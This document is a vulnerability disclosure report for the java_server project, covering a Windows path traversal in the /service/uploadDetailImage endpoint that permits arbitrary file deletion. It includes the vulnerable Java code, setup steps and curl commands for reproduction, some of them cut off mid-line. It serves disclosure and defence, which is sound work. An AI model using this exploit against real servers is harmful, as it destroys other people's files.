java_server Vulnerability Report

This document describes a path traversal vulnerability found in the java_server repository.

Discovery Date: 2025-04-18

Vulnerability Details

In the `java_server` project, the file upload API `/service/uploadDetailImage` contains the following issue:

Files are deleted through path concatenation without effectively validating the external parameters used in the path. The code processes "/" path separators, but on Windows systems, it is possible to bypass this by using "\" separators, allowing arbitrary file deletion.

- **Project Link:** `https://github.com/xiaowei1118/java_server`
- **Affected Version:** `master branch`
- **Affected API:** `/service/uploadDetailImage`
- **Code Location:** `java_server-master/src/main/java/com/changyu/foryou/controller/FoodController.java:1244`

Test Environment Setup

1. **JDK 8**
2. **Maven Build**

3. **Due to the path handling rules in the program, this vulnerability must be verified on a `Windows` system**

4. **Mysql Database Startup**

```
docker run -d --name mysql-test -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 -e MYS
```

The directory `"path/to/sql/parent/directory"` should include the original `foryou.sql` provided by the project, which contains database initialization logic, including administrator account creation.

If the program cannot connect to MySQL after startup, it may be necessary to update the version of the `mysql-connector-java` component to match the database, or to use an older version of MySQL.

5. **Modify database configuration in `application-dev.properties`, set `spring.datasource.password` to `123456`**

6. **Launch the project via IDEA, using `Application.java` as the main class**

Steps to Reproduce

1. Log in to the system

```
curl -X POST "http://localhost:8080/seller/toLogin" -H "Content-Type: applicatior
```

The response will be:

```
{
   "message": "Login successful",
   "type": 0,
   "status": "success"
}
```

After successful login, `cookie.txt` will be saved locally.

2. Delete Arbitrary File

The relevant code is located at line 1281 in FoodController.java. This code splits the path using `/`, then concatenates it with the cache root directory, and performs a file deletion operation.

```
String oldImgUrl = request.getParameter("img" + i);
if (oldImgUrl != null) {
    String[] temp = oldImgUrl.split("/");
    String imageName = temp[(temp.length - 1)];

    String name2 = realPath + imageName;

    File file = new File(name2);
    if (file.isFile()) {
        file.delete();// 删除
    }
}
```

Create a test file `test.txt` under the `C:\\Users\\Admin` directory on a Windows system. Then call the upload image API with an real image from `E:\\1.jpg` , this will help bypass the preconditions.

```
curl -X POST http://localhost:8080/service/uploadDetailImage  -F "foodId=2" -F "c
```

The number of `..\\` segments is related to the local execution path of the code.

After executing the command, you will find that the file `C:\\Users\\Admin\\test.txt` has been deleted, successfully bypassing the security restrictions in the code.